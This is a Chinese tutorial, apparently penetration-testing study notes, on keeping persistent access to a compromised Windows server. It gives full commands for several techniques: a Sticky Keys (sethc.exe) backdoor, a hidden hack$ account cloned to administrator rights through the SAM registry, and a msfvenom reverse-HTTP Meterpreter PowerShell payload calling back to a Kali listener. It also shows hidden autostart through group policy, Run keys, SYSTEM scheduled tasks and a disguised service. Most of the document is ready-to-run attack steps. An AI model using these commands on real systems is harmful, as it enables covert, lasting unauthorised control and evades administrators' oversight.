3.windows权限维持
网站入侵流程
1、信息搜集
2、漏洞扫描
3、渗透攻击
4、提权
5、后渗透
6、持续控制
3.1 shift后门维持
3.1.1 粘滞键概念
粘滞键漏洞
在Windows系统下连续按5下SHIFT键,可以启动系统的粘滞键功能
其进程名为Sethc.exe
应用程序在Windows\system32下。
3.1.2 shift后门原理
通过将其替换为它应用程序(如:cmd.exe、 或木马、病毒)
将Sethc.exe这个可执行程序进行替换。
当再次连续按5次SHIFT键,就会以system权限运行替换后的应用程序
3.1.3 操作流程
(2)复制cmd.exe为sethc.exe
copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe
(2)更改文件权限
如果提示权限不够,就执行下列操作
takeown /f c:\windows\system32\*.* /a /r /d y
cacls c:\windows\system32\*.* /T /E /G administrators:F
3.2 克隆账号维持
3.2.1 隐藏账户
隐藏账户,顾名思义就是计算机上看不到的用户
在一个用户名后面添加$符号
如(hack$)达到简单的隐藏用户目的
从而进行简单的权限维持
(1)新建隐藏账号
net user hack$ Admin@123 /add
会发现,看不到这个账号
但是在登录页会看到该账号
(2)注册表隐藏用户
打开注册表
在命令行程序中输入
<regedit>
然后修改注册表,找到路经
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\
目前有刚刚创建的hack账户和管理员账户
(3)克隆管理员
要把hack克隆成管理员
首先要导出之前创建的hack$用户注册表文件,右键导出
由于每个账号对应一个键值
所以需要复制administrator 中的F键值
把F和V下的二进制数复制到克隆账号中
会发现,克隆账号hack的键值是0x3eb,找到该键值,打开,粘贴
将复制的值,粘贴到hack$对应的F值中(简单克隆-只克隆F)
将hack$ 对应的数据导出来,右键导出
(4)删除用户
然后把刚刚的用户删除掉
net user hack$ /delete
3.3 启动项维持
启动项,操作系统在启动的时候,自动加载了很多程序。
会在前台或者后台运行,进程表中出现了很多的进程。
也许有病毒或木马在自启动行列。
添加启动项的方式:
1、组策略
2、启动文件夹
3、注册表
3.3.1 组策略
可以通过利用组策略开机启动脚本
1、在运行框中输入 “gpedit.msc ”,打开组策略
2、在【Windows设置】->【脚本(启动/关机)】双击【启动】就可以进行设置
3、选择要添加的脚本或者PowerShell
用msf生成一个powershell的木马
3.3.2 反弹shell木马生成
(1)机器名和IP地址
IP用kali系统的IP
Windows Server 2008 192.168.13.156
Kali 192.168.13.129
(2)运行
msfvenom -p windows/x64/meterpreter/reverse_http lhost=192.168.13.129 lport=3333 -f psh -o 1.ps1
(3)在目标服务器进行下载
python -m http.server 8080
(4)创建一个1.bat脚本,并且添加到组策略【脚本】中
bat脚本内容如下:
要改一下路经
@echo off
powershell.exe -w hidden -ExecutionPolicy Bypass -NoExit -File C:\Users\Administrator\Desktop\keep\shell.ps1
exit
(5)kali运行msf进行监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_http
set LHOST 192.168.13.129
set LPORT 3333
run
(6)重启server2008机器
3.3.3 启动文件夹
启动文件夹 里面的文件可以会在开机的时候自动启动。
通过开始菜单——所有程序——启动 这个文件夹内,可以将程序开机自动启动。
把需要运行的脚本放进去
启动文件夹:
C: \ProgramData\Microsoft\Windows\Start Menu\Programs\Startup #系统级,需要system权限
C: \Users\用户名\AppData\Roaming\Microsoft\Windows\Start\Menu\Programs\Startup #用户级 普通
C:\Users\86133\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
组策略脚本启动文件夹:
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown
C:\Windows\System32\GroupPolicy\User\Scripts\Logon
C:\Windows\System32\GroupPolicy\User\Scripts\Logoff
3.3.4 注册表
利用注册表实现启动
注册表(Registry,繁体中文版Windows操作系统称之为登录档)
是Microsoft Windows中的一个重要的数据库,用于存储系统和应用程序的设置信息。
(1)打开注册表
# HKEY_LOCAL_MACHINE类
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
\# HKEY_CURRENT_USER类
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
(2)使用reg add 命令进行添加
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v shell /t REG_SZ /d "C:\phpstudy_pro\WWW\shell\1.bat"
3.4 计划任务维持
计划任务是系统的常见功能,利用任务计划功能,
可以将任何脚本、程序或文档安排在某个最方便的时间运行。
任务计划可以在每次系统启动的时候启动并在后台运行。
(1)打开计划任务
1、【管理工具】--->【任务计划程序】
2、【控制面板】--->系统和安全--【计划任务】
3、【taskschd.msc】命令
(2)生成计划任务
使用schtasks命令
/Create 创建新计划任务。
/Delete 删除计划任务。
使用以下命令进行测试
1、在每个任意用户登录中以SYSTEM的形式执行计划任务:
schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc onlogon /ru System
2、在系统启动期间或用户会话处于非活动状态(空闲模式)时执行
schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc onidle /i 30
3、在系统启动的时候以SYSTEM的形式执行计划任务:
schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc onstart /ru System
4、计划任务以 System 权限每10分钟运行一次
schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc minute/mo 10 /ru system
利用当系统开机的时候运行计划任务进行权限维持
需要修改路经
schtasks /create /tn shell /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -ExecutionPolicy Bypass -NoExit -File C:\phpstudy_pro\WWW\shell\.1ps1" /sc onstart /ru System
3.5 系统服务维持
服务:能够创建在操作系统自己的 Windows 会话中可长时间运行的可执行应用程序。
这些服务可以在计算机启动时自动启动,可以暂停和重新启动而且不显示任何用户界面。
(1)创建服务
sc命令
用法: sc create [service name] [binPath= ] ...
1、创建服务
需要修改路经
sc create shell start= auto binPath= "C:\phpstudy_pro\WWW\1.exe" obj= Localsystem
(2)查看服务
2、查看服务是否已经创建
services.msc
3、修改正常的名称和描述
sc description "shell" "安全"
(3)启动服务
4、启动服务
net start "服务名"